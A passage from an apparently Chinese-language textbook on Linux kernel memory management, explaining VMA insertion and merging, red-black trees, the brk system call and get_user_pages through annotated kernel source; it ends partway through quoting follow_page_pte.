__vma_link(struct mm_struct *mm, struct vm_area_struct *vma,
   struct vm_area_struct *prev, struct rb_node **rb_link,
   struct rb_node *rb_parent)
{
   __vma_link_list(mm, vma, prev, rb_parent);
   __vma_link_rb(mm, vma, rb_link, rb_parent);
}

__vma_link()函数调用__vma_link_list(),把vma添加到mm->mmap链表中。

void __vma_link_list(struct mm_struct *mm, struct vm_area_struct *vma,
        struct vm_area_struct *prev, struct rb_node *rb_parent)
{
     struct vm_area_struct *next;

     vma->vm_prev = prev;
     if (prev) {
           next = prev->vm_next;
           prev->vm_next = vma;
     } else {
          mm->mmap = vma;
          if (rb_parent)
                next = rb_entry(rb_parent,
                         struct vm_area_struct, vm_rb);
          else
                next = NULL;
     }
     vma->vm_next = next;
     if (next)
          next->vm_prev = vma;
}

__vma_link_rb()则是把vma插入红黑树中。

0 void __vma_link_rb(struct mm_struct *mm, struct vm_area_struct *vma,
1        struct rb_node **rb_link, struct rb_node *rb_parent)
2 {
3    /* Update tracking information for the gap following the new vma. */
4    if (vma->vm_next)
5         vma_gap_update(vma->vm_next);
6    else
7         mm->highest_vm_end = vma->vm_end;
8           
9    rb_link_node(&vma->vm_rb, rb_parent, rb_link);
10   vma->rb_subtree_gap = 0;
11   vma_gap_update(vma);
12   vma_rb_insert(vma, &mm->mm_rb);
13}
14

最后通过调用红黑树的API接口rb_link_node()和__rb_insert()来完成,vma_rb_insert()最终会调用到__rb_insert()来完成插入动作。

static inline void rb_link_node(struct rb_node * node, struct rb_node * parent,
                   struct rb_node ** rb_link)
{
     node->__rb_parent_color = (unsigned long)parent;
     node->rb_left = node->rb_right = NULL;

 *rb_link = node;
}

之前提到rb_link指向要插入节点指针本身的地址,而node是新插入的节点,因此“*rb_link = node”就把node节点插入到红黑树中了。

在新的VMA被加入到进程的地址空间时,内核会检查它是否可以与一个或多个现存的VMA进行合并。vma_merge()函数实现将一个新的VMA和附近的VMA合并功能。

0 struct vm_area_struct *vma_merge(struct mm_struct *mm,
1            struct vm_area_struct *prev, unsigned long addr,
2            unsigned long end, unsigned long vm_flags,
3            struct anon_vma *anon_vma, struct file *file,
4            pgoff_t pgoff, struct mempolicy *policy)
5 {
6    pgoff_t pglen = (end - addr) >> PAGE_SHIFT;
7    struct vm_area_struct *area, *next;
8    int err;
9    
10   if (vm_flags & VM_SPECIAL)
11        return NULL;
12
13   if (prev)
14         next = prev->vm_next;
15   else
16         next = mm->mmap;
17   area = next;
18   if (next && next->vm_end == end)          /* cases 6, 7, 8 */
19         next = next->vm_next;
20
21   /*
22    * Can it merge with the predecessor?
23    */
24   if (prev && prev->vm_end == addr &&
25             mpol_equal(vma_policy(prev), policy) &&
26             can_vma_merge_after(prev, vm_flags,
27                        anon_vma, file, pgoff)) {
28        /*
29         * OK, it can.  Can we now merge in the successor as well?
30         */
31        if (next && end == next->vm_start &&
32                  mpol_equal(policy, vma_policy(next)) &&
33                  can_vma_merge_before(next, vm_flags,
34                      anon_vma, file, pgoff+pglen) &&
35                  is_mergeable_anon_vma(prev->anon_vma,
36                               next->anon_vma, NULL)) {
37                              /* cases 1, 6 */
38             err = vma_adjust(prev, prev->vm_start,
39                  next->vm_end, prev->vm_pgoff, NULL);
40        } else                         /* cases 2, 5, 7 */
41             err = vma_adjust(prev, prev->vm_start,
42                  end, prev->vm_pgoff, NULL);
43        if (err)
44              return NULL;
45        khugepaged_enter_vma_merge(prev, vm_flags);
46        return prev;
47   }
48
49   /*
50    * Can this new request be merged in front of next?
51    */
52   if (next && end == next->vm_start &&
53             mpol_equal(policy, vma_policy(next)) &&
54             can_vma_merge_before(next, vm_flags,
55                    anon_vma, file, pgoff+pglen)) {
56        if (prev && addr < prev->vm_end)     /* case 4 */
57             err = vma_adjust(prev, prev->vm_start,
58                  addr, prev->vm_pgoff, NULL);
59        else                   /* cases 3, 8 */
60             err = vma_adjust(area, addr, next->vm_end,
61                  next->vm_pgoff - pglen, NULL);
62        if (err)
63             return NULL;
64        khugepaged_enter_vma_merge(area, vm_flags);
65        return area;
66   }
67
68   return NULL;
69}

vma_merge()函数参数多达9个,其中mm是相关进程的struct mm_struct数据结构;prev是紧接着新VMA前继节点的VMA,一般通过find_vma_links()函数来获取;add和end是新VMA的起始地址和结束地址;vm_flags是新VMA的标志位。如果新VMA属于一个文件映射,则参数file指向该文件struct file数据结构。参数proff指定文件映射偏移量;参数anon_vma是匿名映射的struct anon_vma数据结构。

第10行代码,VM_SPECIAL指的是non-mergable和non-mlockable的VMAs,主要是指包含(VM_IO | VM_DONTEXPAND | VM_PFNMAP | VM_MIXEDMAP)标志位的VMAs。

第13行代码,如果新插入的节点有前继节点,那么next指向prev->vm_next,否则指向mm->mmap的第一个节点。

第24~47行代码,判断是否可以和前继节点合并。当要插入节点的起始地址和prev节点的结束地址相等,就满足第一个条件了,can_vma_merge_after()函数判断prev节点是否可以被合并。理想情况是新插入节点的结束地址等于next节点的起始地址,那么前后节点prev和next可以合并在一起。最终合并是在vma_adjust()函数中实现的,它会适当地修改所涉及的数据结构,例如VMA等,最后会释放不再需要的VMA数据结构。

第52~66行代码,判断是否可以和后继节点合并。

如图2.14所示是vma-merge()函数实现示意图。

图2.14 vma_merge()函数实现示意图

红黑树(Red Black Tree)广泛应用在内核的内存管理和进程调度中,用于将排序的元素组织到树中。红黑树还广泛应用在计算机科技各个领域,它在速度和实现复杂度之间提供一个很好的平衡。

红黑树是具有以下特征的二叉树。

红黑树的一个优点是,所有重要的操作(例如插入、删除、搜索)都可以在O(log n)时间内完成,n为树中元素的数目。经典的算法教科书有讲解红黑树的实现,这里只是列出一个内核中使用红黑树的例子,供读者在实际的驱动和内核编程中参考,这个例子可以在内核代码的documentation/Rbtree.txt文件中找到。

#include <linux/init.h>
#include <linux/list.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/mm.h>
#include <linux/rbtree.h>

MODULE_AUTHOR("figo.zhang");
MODULE_DESCRIPTION(" ");
MODULE_LICENSE("GPL");

  struct mytype { 
     struct rb_node node;
     int key; 
};

/*红黑树根节点*/
 struct rb_root mytree = RB_ROOT;
/*根据key来查找节点*/
struct mytype *my_search(struct rb_root *root, int new)
  {
     struct rb_node *node = root->rb_node;

     while (node) {
          struct mytype *data = container_of(node, struct mytype, node);

          if (data->key > new)
               node = node->rb_left;
          else if (data->key < new)
               node = node->rb_right;
          else
               return data;
     }
     return NULL;
  }

/*插入一个元素到红黑树中*/
  int my_insert(struct rb_root *root, struct mytype *data)
  {
     struct rb_node **new = &(root->rb_node), *parent=NULL;

     /* Figure out where to put new node */
     while (*new) {
          struct mytype *this = container_of(*new, struct mytype, node);

          parent = *new;
          if (this->key > data->key)
               new = &((*new)->rb_left);
          else if (this->key < data->key) {
               new = &((*new)->rb_right);
          } else
               return -1;
     }

     /* Add new node and rebalance tree. */
     rb_link_node(&data->node, parent, new);
     rb_insert_color(&data->node, root);

     return 0;
  }

static int __init my_init(void)
{
     int i;
     struct mytype *data;
     struct rb_node *node;

     /*插入元素*/
     for (i =0; i < 20; i+=2) {
          data = kmalloc(sizeof(struct mytype), GFP_KERNEL);
          data->key = i;
          my_insert(&mytree, data);
     }

     /*遍历红黑树,打印所有节点的key值*/
      for (node = rb_first(&mytree); node; node = rb_next(node)) 
          printk("key=%d\n", rb_entry(node, struct mytype, node)->key);

     return 0;
}

static void __exit my_exit(void)
{
     struct mytype *data;
     struct rb_node *node;
     for (node = rb_first(&mytree); node; node = rb_next(node)) {
          data = rb_entry(node, struct mytype, node);
          if (data) {
                rb_erase(&data->node, &mytree);
                kfree(data);
          }
     }
}
module_init(my_init);
module_exit(my_exit);

mytree是红黑树的根节点,my_insert()实现插入一个元素到红黑树中,my_search()根据key来查找节点。内核插入VMA的API函数insert_vm_struct(),其操作红黑树的实现细节类似于my_insert(),读者可以仔细对比。

进程地址空间在内核中用VMA来抽象描述,VMA离散分布在3GB的用户空间中(32位系统),内核中提供相应的API来管理VMA,简单总结如下。

(1)查找VMA。

struct vm_area_struct * find_vma(struct mm_struct * mm, unsigned long addr);
struct vm_area_struct * find_vma_prev(struct mm_struct * mm, unsigned long addr,struct vm_area_struct **pprev);
struct vm_area_struct * find_vma_intersection(struct mm_struct * mm, unsigned long start_addr, unsigned long end_addr) 

(2)插入VMA。

int <strong>insert_vm_struct</strong>(struct mm_struct *mm, struct vm_area_struct *vma)

(3)合并VMA。

struct vm_area_struct *vma_merge(struct mm_struct *mm,
             struct vm_area_struct *prev, unsigned long addr,
             unsigned long end, unsigned long vm_flags,
             struct anon_vma *anon_vma, struct file *file,
             pgoff_t pgoff, struct mempolicy *policy) 

malloc()函数是C语言中内存分配函数,学习C语言的初学者经常会有如下的困扰。

假设系统中有进程A和进程B,分别使用testA和testB函数分配内存:

//进程A分配内存
void testA(void)
{
     char * bufA = malloc(100);
     ...
     *buf = 100;
     ...
}

//进程B分配内存
void testB(void)
{
     char * bufB = malloc(100);
      mlock(buf, 100);
     ...
}

malloc()函数是C函数库封装的一个核心函数,C函数库会做一些处理后调用Linux内核系统去调用brk,所以大家并不太熟悉brk的系统调用,原因在于很少有人会直接使用系统调用brk向系统申请内存,而总是通过malloc()之类的C函数库的API函数。如果把malloc()想象成零售,那么brk就是代理商。malloc函数的实现为用户进程维护一个本地小仓库,当进程需要使用更多的内存时就向这个小仓库要货,小仓库存量不足时就通过代理商brk向内核批发。

brk系统调用主要实现在mm/mmap.c函数中。

[mm/mmap.c]

0 SYSCALL_DEFINE1(brk, unsigned long, brk)
1 {
2   unsigned long retval;
3   unsigned long newbrk, oldbrk;
4   struct mm_struct *mm = current->mm;
5   unsigned long min_brk;
6   bool populate;
7 
8   down_write(&mm->mmap_sem);
9   min_brk = mm->end_data;
10  if (brk < min_brk)
11        goto out;
12     
13  if (check_data_rlimit(rlimit(RLIMIT_DATA), brk, mm->start_brk,
14                 mm->end_data, mm->start_data))
15        goto out;
16
17  newbrk = PAGE_ALIGN(brk);
18  oldbrk = PAGE_ALIGN(mm->brk);
19  if (oldbrk == newbrk)
20        goto set_brk;
21
22  /* Always allow shrinking brk. */
23  if (brk <= mm->brk) {
24        if (!do_munmap(mm, newbrk, oldbrk-newbrk))
25             goto set_brk;
26        goto out;
27  }
28
29  /* Check against existing mmap mappings. */
30  if (find_vma_intersection(mm, oldbrk, newbrk+PAGE_SIZE))
31        goto out;
32
33  /* Ok, looks good - let it rip. */
34  if (do_brk(oldbrk, newbrk-oldbrk) != oldbrk)
35       goto out;
36
37set_brk:
38  mm->brk = brk;
39  populate = newbrk > oldbrk && (mm->def_flags & VM_LOCKED) != 0;
40  up_write(&mm->mmap_sem);
41  if (populate)
42        mm_populate(oldbrk, newbrk - oldbrk);
43  return brk;
44
45out:
46  retval = mm->brk;
47  up_write(&mm->mmap_sem);
48  return retval;
49}

在32位Linux内核中,每个用户进程拥有3GB的虚拟空间。内核如何为用户空间来划分这3GB的虚拟空间呢?用户进程的可执行文件由代码段和数据段组成,数据段包括所有的静态分配的数据空间,例如全局变量和静态局部变量等。这些空间在可执行文件装载时,内核就为其分配好这些空间,包括虚拟地址和物理页面,并建立好二者的映射关系。如图2.15所示,用户进程的用户栈从3GB虚拟空间的顶部开始,由顶向下延伸,而brk分配的空间是从数据段的顶部end_data到用户栈的底部。所以动态分配空间是从进程的end_data开始,每次分配一块空间,就把这个边界往上推进一段,同时内核和进程都会记录当前的边界的位置。

图2.15 用户进程内存空间布局

第9行代码,用户进程的struct mm_struct数据结构有一个变量存放数据段的结束地址,如果brk请求的边界小于这个地址,那么请求无效。mm->brk记录动态分配区的当前底部,参数brk表示所要求的新边界,是用户进程要求分配内存的大小与其当前动态分配区底部边界相加。

如果新边界小于老边界,那么表示释放空间,调用do_munmap()来释放这一部分空间的内存。

find_vma_intersection()函数以老边界oldbrk地址去查找系统中有没有一块已经存在的VMA,它通过find_vma()来查找当前用户进程中是否已经有一块VMA和start_addr地址有重叠。

如果find_vma_intersection()找到一块包含start_addr的VMA,说明老边界开始的地址空间已经在使用了,就不需要再寻找了。

第34行代码中的do_brk()函数是这里的核心函数。

0 static unsigned long do_brk(unsigned long addr, unsigned long len)
1 {
2    struct mm_struct *mm = current->mm;
3    struct vm_area_struct *vma, *prev;
4    unsigned long flags;
5    struct rb_node **rb_link, *rb_parent;
6    pgoff_t pgoff = addr >> PAGE_SHIFT;
7    int error;
8 
9    len = PAGE_ALIGN(len);
10   flags = VM_DATA_DEFAULT_FLAGS | VM_ACCOUNT | mm->def_flags;
11
12   error = get_unmapped_area(NULL, addr, len, 0, MAP_FIXED);
13   if (error & ~PAGE_MASK)
14         return error;
15
16   /*
17    * Clear old maps.  this also does some error checking for us
18    */
19 munmap_back:
20   if (find_vma_links(mm, addr, addr + len, &prev, &rb_link, &rb_parent)) {
21         if (do_munmap(mm, addr, len))
22              return -ENOMEM;
23         goto munmap_back;
24   }
25
26   /* Check against address space limits *after* clearing old maps... */
27   if (!may_expand_vm(mm, len >> PAGE_SHIFT))
28        return -ENOMEM;
29
30   if (mm->map_count > sysctl_max_map_count)
31        return -ENOMEM;
32
33   if (security_vm_enough_memory_mm(mm, len >> PAGE_SHIFT))
34        return -ENOMEM;
35
36   /* Can we just expand an old private anonymous mapping? */
37   vma = vma_merge(mm, prev, addr, addr + len, flags,
38                 NULL, NULL, pgoff, NULL);
39   if (vma)
40        goto out;
41
42   /*
43    * create a vma struct for an anonymous mapping
44    */
45   vma = kmem_cache_zalloc(vm_area_cachep, GFP_KERNEL);
46   INIT_LIST_HEAD(&vma->anon_vma_chain);
47   vma->vm_mm = mm;
48   vma->vm_start = addr;
49   vma->vm_end = addr + len;
50   vma->vm_pgoff = pgoff;
51   vma->vm_flags = flags;
52   vma->vm_page_prot = vm_get_page_prot(flags);
53   vma_link(mm, vma, prev, rb_link, rb_parent);
54out:
55   mm->total_vm += len >> PAGE_SHIFT;
56   if (flags & VM_LOCKED)
57          mm->locked_vm += (len >> PAGE_SHIFT);
58   vma->vm_flags |= VM_SOFTDIRTY;
59   return addr;
60}

在do_brk()函数中,申请分配内存大小要以页面大小对齐。

第12行代码,get_unmapped_area()函数用来判断虚拟内存空间是否有足够的空间,返回一段没有映射过的空间的起始地址,这个函数会调用到具体的体系结构中实现。

0 unsigned long
1 arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
2            const unsigned long len, const unsigned long pgoff,
3            const unsigned long flags)
4 {
5    struct vm_area_struct *vma;
6    struct mm_struct *mm = current->mm;
7    unsigned long addr = addr0;
8    int do_align = 0;
9    int aliasing = cache_is_vipt_aliasing();
10   struct vm_unmapped_area_info info;
11
12   /*
13    * We only need to do colour alignment if either the I or D
14    * caches alias.
15    */
16   if (aliasing)
17          do_align = filp || (flags & MAP_SHARED);
18
19   /* requested length too big for entire address space */
20   if (len > TASK_SIZE)
21         return -ENOMEM;
22
23   if (flags & MAP_FIXED) {
24          if (aliasing && flags & MAP_SHARED &&
25               (addr - (pgoff << PAGE_SHIFT)) & (SHMLBA - 1))
26               return -EINVAL;
27          return addr;
28   }
29
30   /* requesting a specific address */
31   if (addr) {
32        if (do_align)
33             addr = COLOUR_ALIGN(addr, pgoff);
34        else
35             addr = PAGE_ALIGN(addr);
36        vma = find_vma(mm, addr);
37        if (TASK_SIZE - len >= addr &&
38                 (!vma || addr + len <= vma->vm_start))
39             return addr;
40   }
41
42   ...
43}

arch_get_unmapped_area_topdown()是ARM架构里get_unmapped_area()函数的实现,该函数留给读者自行阅读。

第20行代码中的find_vma_links()函数之前已经阅读过,它循环遍历用户进程红黑树中的VMAs,然后根据addr来查找最合适插入到红黑树的节点,最终rb_link指针指向最合适节点的rb_left或rb_right指针本身的地址。返回0表示寻找到最合适插入的节点,返回-ENOMEM表示和现有的VMA重叠,这时会调用do_munmap()函数来释放这段重叠的空间。

do_brk()函数中的第37行,vma_merge()函数去找有没有可能合并addr附近的VMA。如果没办法合并,那么只能新创建一个VMA,VMA的地址空间就是[addr, addr+len]。

第53行代码,新创建的VMA需要加入到mm->mmap链表和红黑树中,vma_link()函数实现这个功能,该函数之前已经阅读过。

回到do_brk函数中,新创建了VMA、完成插入并且更新一些变量之后,返回这个VMA的起始地址。

回到brk函数中,第39行代码,这里判断flags是否置位VM_LOCKED,这个VM_LOCKED通常从mlockall系统调用中设置而来。如果有,那么需要调用mm_populate()马上分配物理内存并建立映射。通常用户程序很少使用VM_LOCKED分配掩码,所以brk不会为这个用户进程立马分配物理页面,而是一直将分配物理页面的工作推延到用户进程需要访问这些虚拟页面时,发生了缺页中断才会分配物理内存,并和虚拟地址建立映射关系。

当指定VM_LOCK标志位时,表示需要马上为这块进程地址空间VMA的分配物理页面并建立映射关系。mm_populate()函数内部调用__mm_populate(),参数start是VMA的起始地址,len是VMA的长度,ignore_errors表示当分配页面发生错误时会继续重试。

[brk系统调用->mm_populate()->__mm_populate()]

0 int __mm_populate(unsigned long start, unsigned long len, int ignore_errors)
1 {
2    struct mm_struct *mm = current->mm;
3    unsigned long end, nstart, nend;
4    struct vm_area_struct *vma = NULL;
5    int locked = 0;
6    long ret = 0;
7 
8    VM_BUG_ON(start & ~PAGE_MASK);
9    VM_BUG_ON(len != PAGE_ALIGN(len));
10   end = start + len;
11
12   for (nstart = start; nstart < end; nstart = nend) {
13        /*
14         * We want to fault in pages for [nstart; end) address range.
15         * Find first corresponding VMA.
16         */
17        if (!locked) {
18              locked = 1;
19              down_read(&mm->mmap_sem);
20              vma = find_vma(mm, nstart);
21        } else if (nstart >= vma->vm_end)
22              vma = vma->vm_next;
23        if (!vma || vma->vm_start >= end)
24              break;
25        /*
26         * Set [nstart; nend) to intersection of desired address
27         * range with the first VMA. Also, skip undesirable VMA types.
28         */
29        nend = min(end, vma->vm_end);
30        if (vma->vm_flags & (VM_IO | VM_PFNMAP))
31             continue;
32        if (nstart < vma->vm_start)
33             nstart = vma->vm_start;
34        /*
35         * Now fault in a range of pages. __mlock_vma_pages_range()
36         * double checks the vma flags, so that it won't mlock pages
37         * if the vma was already munlocked.
38         */
39        ret = __mlock_vma_pages_range(vma, nstart, nend, &locked);
40        nend = nstart + ret * PAGE_SIZE;
41        ret = 0;
42   }
43   if (locked)
44         up_read(&mm->mmap_sem);
45   return ret;     /* 0 or negative error code */
46}

第12行代码,以start为起始地址,先通过find_vma()查找VMA,如果没找到VMA,则退出循环。

第39行代码调用__mlock_vma_pages_range()函数为VMA分配物理内存。

[__mm_populate()->__mlock_vma_pages_range()]

0 long __mlock_vma_pages_range(struct vm_area_struct *vma,
1        unsigned long start, unsigned long end, int *nonblocking)
2 {
3    struct mm_struct *mm = vma->vm_mm;
4    unsigned long nr_pages = (end - start) / PAGE_SIZE;
5    int gup_flags;
6 
7    VM_BUG_ON(start & ~PAGE_MASK);
8    VM_BUG_ON(end   & ~PAGE_MASK);
9    VM_BUG_ON_VMA(start < vma->vm_start, vma);
10   VM_BUG_ON_VMA(end   > vma->vm_end, vma);
11   VM_BUG_ON_MM(!rwsem_is_locked(&mm->mmap_sem), mm);
12
13   gup_flags = FOLL_TOUCH | FOLL_MLOCK;
14   /*
15    * We want to touch writable mappings with a write fault in order
16    * to break COW, except for shared mappings because these don't COW
17    * and we would not want to dirty them for nothing.
18    */
19   if ((vma->vm_flags & (VM_WRITE | VM_SHARED)) == VM_WRITE)
20         gup_flags |= FOLL_WRITE;
21
22   /*
23    * We want mlock to succeed for regions that have any permissions
24    * other than PROT_NONE.
25    */
26   if (vma->vm_flags & (VM_READ | VM_WRITE | VM_EXEC))
27        gup_flags |= FOLL_FORCE;
28
29   /*
30    * We made sure addr is within a VMA, so the following will
31    * not result in a stack expansion that recurses back here.
32    */
33   return __get_user_pages(current, mm, start, nr_pages, gup_flags,
34               NULL, NULL, nonblocking);
35}

第7~11行代码,做一些错误判断,start和end地址必须以页面对齐,VM_BUG_ON_VMA和VM_BUG_ON_MM宏需要打开CONFIG_DEBUG_VM配置才会起作用,内存管理代码常常使用这些宏来做debug。

第13行代码,设置分配掩码FOLL_TOUCH和FOLL_MLOCK,它们定义在include/ linux/mm.h头文件中。

#define FOLL_WRITE     0x01   /* 判断pte是否具有可写属性*/
#define FOLL_TOUCH   0x02     /* 标记page可访问 */
#define FOLL_GET     0x04     /* 在这个page执行get_page()操作,增加_count计数*/
#define FOLL_DUMP    0x08     /* give error on hole if it would be zero */
#define FOLL_FORCE   0x10     /* get_user_pages函数具有读写权限 */
#define FOLL_NOWAIT  0x20     /* 如果需要一个磁盘传输,那么开始一个IO传输不需要为其等待*/
#define FOLL_MLOCK   0x40     /* 标记这个page是mlocked*/
#define FOLL_SPLIT   0x80     /* 不返回大页面,切分它们 */
#define FOLL_HWPOISON   0x100 /* 检查这个page是否hwpoisoned*/
#define FOLL_NUMA    0x200    /* 强制NUMA触发一个缺页中断*/
#define FOLL_MIGRATION  0x400 /* 等待页面合并*/
#define FOLL_TRIED     0x800

如果VMA的标志域vm_flags具有可写的属性(VM_WRITE),那么这里必须设置FOLL_WRITE标志位。如果vm_flags是可读、可写和可执行的,那么设置FOLL_FORCE标志位。最后调用__get_user_pages()来为进程地址空间分配物理内存并且建立映射关系。

get_user_pages()函数是一个很重要分配物理内存的接口函数,有很多驱动程序使用这个API来为用户态程序分配物理内存,例如摄像头驱动的核心驱动框架函数vb2_dma_sg_get_userptr()。

[drivers/media/v4l2-core/videobuf2-dma-sg.c]

static void *vb2_dma_sg_get_userptr(void *alloc_ctx, unsigned long vaddr,
                     unsigned long size,
                     enum dma_data_direction dma_dir)
{
     ...
     dma_set_attr(DMA_ATTR_SKIP_CPU_SYNC, &attrs);
     buf = kzalloc(sizeof *buf, GFP_KERNEL);
     buf->pages = kzalloc(buf->num_pages * sizeof(struct page *),
                  GFP_KERNEL);
     ...
     num_pages_from_user = get_user_pages(current, current->mm,
                        vaddr & PAGE_MASK,
                        buf->num_pages,
                        buf->dma_dir == DMA_FROM_DEVICE,
                        1, /* force */
                        buf->pages,
                        NULL);

     ...
}

__get_user_pages()函数在mm/gup.c文件中实现。

0 long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
1        unsigned long start, unsigned long nr_pages,
2        unsigned int gup_flags, struct page **pages,
3        struct vm_area_struct **vmas, int *nonblocking)
4 {
5    long i = 0;
6    unsigned int page_mask;
7    struct vm_area_struct *vma = NULL;
8 
9    VM_BUG_ON(!!pages != !!(gup_flags & FOLL_GET));
10
11   do {
12        struct page *page;
13        unsigned int foll_flags = gup_flags;
14        unsigned int page_increm;
15
16        /* first iteration or cross vma bound */
17        if (!vma || start >= vma->vm_end) {
18              vma = find_extend_vma(mm, start);
19              if (!vma && in_gate_area(mm, start)) {
20                    int ret;
21                    ret = get_gate_page(mm, start & PAGE_MASK,
22                             gup_flags, &vma,
23                             pages ? &pages[i] : NULL);
24                    if (ret)
25                          return i ? : ret;
26                    page_mask = 0;
27                    goto next_page;
28              }
29
30              if (!vma || check_vma_flags(vma, gup_flags))
31                    return i ? : -EFAULT;
32        }
33retry:
34        /*
35         * If we have a pending SIGKILL, don't keep faulting pages and
36         * potentially allocating memory.
37         */
38        if (unlikely(fatal_signal_pending(current)))
39             return i ? i : -ERESTARTSYS;
40        cond_resched();
41        page = follow_page_mask(vma, start, foll_flags, &page_mask);
42        if (!page) {
43              int ret;
44              ret = faultin_page(tsk, vma, start, &foll_flags,
45                       nonblocking);
46              switch (ret) {
47              case 0:
48                  goto retry;
49              case -EFAULT:
50              case -ENOMEM:
51              case -EHWPOISON:
52                   return i ? i : ret;
53              case -EBUSY:
54                   return i;
55              case -ENOENT:
56                   goto next_page;
57              }
58              BUG();
59         }
60         if (IS_ERR(page))
61               return i ? i : PTR_ERR(page);
62         if (pages) {
63               pages[i] = page;
64               flush_anon_page(vma, page, start);
65               flush_dcache_page(page);
66               page_mask = 0;
67         }
68next_page:
69         if (vmas) {
70              vmas[i] = vma;
71              page_mask = 0;
72         }
73         page_increm = 1 + (~(start >> PAGE_SHIFT) & page_mask);
74         if (page_increm > nr_pages)
75               page_increm = nr_pages;
76         i += page_increm;
77         start += page_increm * PAGE_SIZE;
78         nr_pages -= page_increm;
79     } while (nr_pages);
80     return i;
81}

__get_user_pages()函数的参数比较多,其中tsk是进程的struct task_struct数据结构,mm是进程内存管理的struct mm_struct数据结构,start是进程地址空间VMA的起始地址,nr_pages表示需要分配多少个页面,gup_flags是分配掩码,pages是物理页面的二级指针,vmas指进程地址空间VMA,nonblocking表示是否等待I/O操作。

第18行代码,find_extend_vma()函数查找VMA,它会调用find_vma()查找VMA。如果VMA->vm_start大于查找地址start,那么它会尝试去扩增VMA,把VMA->vm_start边界扩大到start中。如果find_extend_vma()没找到合适VMA,且start地址恰好在gate_vma中,那么使用gate页面,当然这种情况比较罕见。gate_vma定义在arch/arm/kernel/process.c文件中。

[arch/arm/kernel/process.c]

/*
 * The vectors page is always readable from user space for the
 * atomic helpers. Insert it into the gate_vma so that it is visible
 * through ptrace and /proc/< pid>/mem.
 */
static struct vm_area_struct gate_vma = {
     .vm_start     = 0xffff0000,
     .vm_end       = 0xffff0000 + PAGE_SIZE,
     .vm_flags     = VM_READ | VM_EXEC | VM_MAYREAD | VM_MAYEXEC,
};

int in_gate_area(struct mm_struct *mm, unsigned long addr)
{
     return (addr >= gate_vma.vm_start) && (addr < gate_vma.vm_end);
}

第38行代码,如果当前进程收到一个SIGKILL信号,那么不需要继续做内存分配,直接报错退出。

第39行代码,cond_resched()判断当前进程是否需要被调度,内核代码通常在while()循环中添加cond_resched(),从而优化系统的延迟。

第41行代码,调用follow_page_mask()查看VMA中的虚拟页面是否已经分配了物理内存。follow_page_mask()是内核内存管理核心API函数follow_page()的具体实现,follow_page()在页面合并和KSM中有广泛的应用。

[include/linux/mm.h]

static inline struct page *follow_page(struct vm_area_struct *vma,
           unsigned long address, unsigned int foll_flags)
{
     unsigned int unused_page_mask;
     return follow_page_mask(vma, address, foll_flags, &unused_page_mask);
}

follow_page_mask()函数的实现在mm/gup.c文件中,其中有很多大页面的处理情况,我们暂时忽略大页面的相关代码。follow_page_mask()函数的实现代码量原本比较大,忽略了大页面和NUMA的相关代码后,代码会变得简单得多。

0 struct page *follow_page_mask(struct vm_area_struct *vma,
1                   unsigned long address, unsigned int flags,
2                   unsigned int *page_mask)
3 {
4    pgd_t *pgd;
5    pud_t *pud;
6    pmd_t *pmd;
7    spinlock_t *ptl;
8    struct page *page;
9    struct mm_struct *mm = vma->vm_mm;
10   
11   pgd = pgd_offset(mm, address);
12   if (pgd_none(*pgd) || unlikely(pgd_bad(*pgd)))
13        return no_page_table(vma, flags);
14
15   pud = pud_offset(pgd, address);
16   if (pud_none(*pud))
17        return no_page_table(vma, flags);
18   if (unlikely(pud_bad(*pud)))
19        return no_page_table(vma, flags);
20   pmd = pmd_offset(pud, address);
21   if (pmd_none(*pmd))
22        return no_page_table(vma, flags);
23   return follow_page_pte(vma, address, pmd, flags);
24}

首先通过pgd_offset()辅助函数由mm和地址addr找到当前进程页表对应的PGD页面目录项。用户进程内存管理的struct mm_struct数据结构的pgd成员(mm->pgd)指向用户进程的页表的基地址。如果PGD表项的内容为空或表项无效,那么报错返回。接着检查PUD和PMD,在2级页表中,PUD和PMD都指向PGD。最后调用follow_page_pte()来检查PTE页表。

0 static struct page *follow_page_pte(struct vm_area_struct *vma,
1         unsigned long address, pmd_t *pmd, unsigned int flags)
2 {
3    struct mm_struct *mm = vma->vm_mm;
4    struct page *page;
5    spinlock_t *ptl;
6    pte_t *ptep, pte;
7 
8 retry:
9    if (unlikely(pmd_bad(*pmd)))
10        return no_page_table(vma, flags);
11
12   ptep = pte_offset_map_lock(mm, pmd, address, &ptl);
13   pte = *ptep;
14   if (!pte_present(pte)) {
15         swp_entry_t entry;
16         /*
17          * KSM's break_ksm() relies upon recognizing a ksm page
18          * even while it is being migrated, so for that case we
19          * need migration_entry_wait().
20          */
21         if (likely(!(flags & FOLL_MIGRATION)))
22               goto no_page;
23          if (pte_none(pte))
24               goto no_page;
25          entry = pte_to_swp_entry(pte);
26          if (!is_migration_entry(entry))
27               goto no_page;
28          pte_unmap_unlock(ptep, ptl);
29          migration_entry_wait(mm, pmd, address);
30          goto retry;
31   }
32   if ((flags & FOLL_WRITE) && !pte_write(pte)) {
33          pte_unmap_unlock(ptep, ptl);
34          return NULL;
35   }
36
37   page = vm_normal_page(vma, address, pte);
38   if (unlikely(!page)) {
39         if ((flags & FOLL_DUMP) ||
40              !is_zero_pfn(pte_pfn(pte)))
41              goto bad_page;
42         page = pte_page(pte);
43   }
44
45   if (flags & FOLL_GET)
46          get_page_foll(page);
47   if (flags & FOLL_TOUCH) {
48          if ((flags & FOLL_WRITE) &&
49               !pte_dirty(pte) && !PageDirty(page))
50               set_page_dirty(page);
51          /*
52           * pte_mkyoung() would be more correct here, but atomic care
53           * is needed to avoid losing the dirty bit: it is easier to use
54           * mark_page_accessed().
55           */
56          mark_page_accessed(page);
57   }
58   if ((flags & FOLL_MLOCK) && (vma->vm_flags & VM_LOCKED)) {
59          /*
60           * The preliminary mapping check is mainly to avoid the
61           * pointless overhead of lock_page on the ZERO_PAGE
62           * which might bounce very badly if there is contention.
63           *
64           * If the page is already locked, we don't need to
65           * handle it now - vmscan will handle it later if and
66           * when it attempts to reclaim the page.
67           */
68          if (page->mapping && trylock_page(page)) {
69               lru_add_drain();  /* push cached pages to LRU */
70               /*
71                * Because we lock page here, and migration is
72                * blocked by the pte's page reference, and we
73                * know the page is still mapped, we don't even
74                * need to check for file-cache page truncation.
75                */
76               mlock_vma_page(page);
77               unlock_page(page);
78          }
79   }
80   pte_unmap_unlock(ptep, ptl);
81   return page;
82bad_page:
83   pte_unmap_unlock(ptep, ptl);
84   return ERR_PTR(-EFAULT);
85
86no_page:
